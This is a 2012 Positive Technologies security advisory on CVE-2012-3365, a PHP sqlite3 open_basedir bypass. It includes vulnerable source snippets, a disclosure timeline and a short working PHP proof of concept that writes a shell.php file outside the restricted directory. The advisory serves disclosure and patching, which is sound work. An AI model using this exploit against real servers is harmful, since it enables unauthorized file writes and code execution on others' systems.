(PT-2012-14) Positive Technologies Security Advisory
Security Restrictions Bypass in PHP
Vulnerable software
PHP
Version: 5.4.4 and earlier; 5.3.14 and earlier
Application link:
http://php.net/
Severity level
Severity level: Medium
Impact: Security Restrictions Bypass
Access Vector: Remote
CVSS v2:
Base Score: 5.0
Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N)
CVE: CVE-2012-3365
Software description
PHP (Hypertext Preprocessor) is a general-purpose script programming language that is widely used to develop web applications.
Vulnerability description
Positive Research Center detected "Security Restrictions Bypass" vulnerability in PHP application.
PHP 5.4.4/5.3.14 and earlier allows attackers to bypass open_basedir directive. The reason is that the system checks database title in PHP extention sqlite/sqlite3 and libsqlite in different ways. An attacker can create a file in sqlite database format outside open_basedir.
Vulnerability exists in /ext/sqlite3/sqlite3.c file. Here is the vulnerable code:
PHP_METHOD(sqlite3, open)
{
...
if (strncmp(filename, ":memory:", 8) != 0) {
...
if (php_check_open_basedir(fullpath TSRMLS_CC)) {
...
}
} else {
fullpath = estrdup(filename);
}
Vulnerability exists in /ext/sqlite3/libsqlite/sqlite3.c file. Here is the vulnerable code:
const int isMemdb = (zFilename && strcmp(zFilename, ":memory:")==0) || (isTempDb && sqlite3TempInMemory(db));
Exploitation example:
The following PHP code allows attackers to create SQLite database outside open_basedir.
<?php
mkdir(':memory:');
$database = new SQLite3(":memory:/../../shell.php");
$database->exec("CREATE TABLE foo (bar STRING)");
$database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')");
$database->close();
rmdir(':memory:');
?>
How to fix
Update your software up to the latest version.
Advisory status
22.06.2012 - Vendor is notified
22.06.2012 - Vendor gets vulnerability details
19.07.2012 - Vendor releases fixed version and details
04.02.2013 - Public disclosure
Credits
The vulnerability has discovered by Sergey Bobrov, Positive Research Center (Positive Technologies Company)
References
http://en.securitylab.ru/lab/PT-2012-14
Reports on the vulnerabilities previously discovered by Positive Research:
http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/
About Positive Technologies
Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.
The principal activities of the company include the development of integrated tools for information security monitoring (MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading Russian information security portal.
Among the clients of Positive Technologies, there are more than 40 state enterprises, more than 50 banks and financial organizations, 20 telecommunication companies, more than 40 plant facilities, as well as IT, service and retail companies from Russia, the CIS countries, the Baltic States, China, Ecuador, Germany, Great Britain, Holland, Iran, Israel, Japan, Mexico, the Republic of South Africa, Thailand, Turkey, and the USA.
Positive Technologies is a team of highly skilled developers, advisers and experts with years of vast hands-on experience. The company specialists possess professional titles and certificates; they are the members of various international societies and are actively involved in the IT security field development.
Get in touch
will contact you shortly